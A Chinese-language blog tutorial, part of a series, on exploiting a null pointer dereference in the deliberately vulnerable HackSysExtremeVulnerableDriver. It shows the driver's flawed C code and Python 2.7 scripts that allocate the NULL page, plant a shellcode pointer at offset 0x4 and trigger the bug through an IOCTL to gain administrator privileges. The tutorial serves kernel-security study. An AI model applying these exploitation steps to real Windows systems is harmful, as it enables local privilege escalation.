Windows内核漏洞利用教程Part5:空指针引用

Author Avatar
leo00000 7月 04, 2018

Windows内核漏洞系列教程。

前言

part4中介绍了池风水,这一篇就相对简单多了。空指针引用漏洞,当一个指针的值为空时,却被调用指向某一块内存地址时,就产生了空指针引用漏洞。如果我们能控制NULL page,并在其中写入我们安排的代码,那么我们就可能得到代码执行权限,而在上一篇文章中我们申请NULL page,布局我们的shellcode。这一篇文章很多信息依赖上一篇文章。

漏洞分析

看一下NullPointerDereference.c文件:

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;

    PAGED_CODE();

    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)__alignof(NULL_POINTER_DEREFERENCE));

        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)ExAllocatePoolWithTag(NonPagedPool,
            sizeof(NULL_POINTER_DEREFERENCE),
            (ULONG)POOL_TAG);

        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }

        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;

        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);

        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;

            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);

            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);

            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }

#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");

        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

在代码中,用magic值(0xBAD0B0B0)和用户态的值比较,如果不相同,NullPointerDereference指针被设置为空。在安全的代码中,检查了NullPointerDereference指针是否为空。

从IDA简单分析可以看出,非分页pool的tag为”Hack”,magic值,以及偏移0x4。计算出IOCTL值为0x22202b。

漏洞利用

漏洞利用脚本测试:

# python2.7

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        error = kernel32.GetLastError()    # not work py3.4, error=3
        print(error)
        sys.exit(-1)

    buf = "\xb0\xb0\xd0\xba"
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

我们传递的magic的值,没有任何异常。修改一下我们传入的magic的值。

这次产生一个异常,但是有try/execpt异常处理的存在,我们的机器还在正常运行,没有产生崩溃。

接下来,我们就借用上一篇文章中申请NULL page的代码,关于个中原因在上一篇文章中讲的很仔细了。注意到我们这次是在NULL page开始的0x4偏移。

说明一点,在win8及以上,直接申请NULL page会失败,在上一篇文章第二种利用方法(参考论文)介绍了原因

# python2.7

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
    kernel32 = windll.kernel32
    psapi = windll.Psapi
    ntdll = windll.ntdll
    hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

    if not hevDevice or hevDevice == -1:
        print "*** Couldn't get Device Driver handle"
        error = kernel32.GetLastError()    # not work py3.4, error=3
        print(error)
        sys.exit(-1)

    shellcode = "\x90" * 8
    shellcode_address = id(shellcode) + 20   

    null_status = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(c_void_p(0x1)), 0, byref(c_ulong(0x100)), 0x3000, 0x40)
    if null_status != 0x0:
            print "\t[+] Failed to allocate NULL page..."
            sys.exit(-1)
    else:
            print "\t[+] NULL Page Allocated"

    if not kernel32.WriteProcessMemory(0xFFFFFFFF, 0x4, byref(c_void_p(shellcode_address)), 0x4, byref(c_ulong())):
            print "\t[+] Failed to write at 0x4 location"
            sys.exit(-1)

    buf = "\xb0\xb0\xd0\xba"
    bufLength = len(buf)

    kernel32.DeviceIoControl(hevDevice, 0x22202b, buf, bufLength, None, 0, byref(c_ulong()), None)

if __name__ == "__main__":
    main()

可以看到shellcode指针已经写入到NULL page 0x4偏移处,并且shellcode已经布置好了。现在,借用前面的shellcode,修改shellcode的结尾,最终得到EXP

最终获取管理员权限。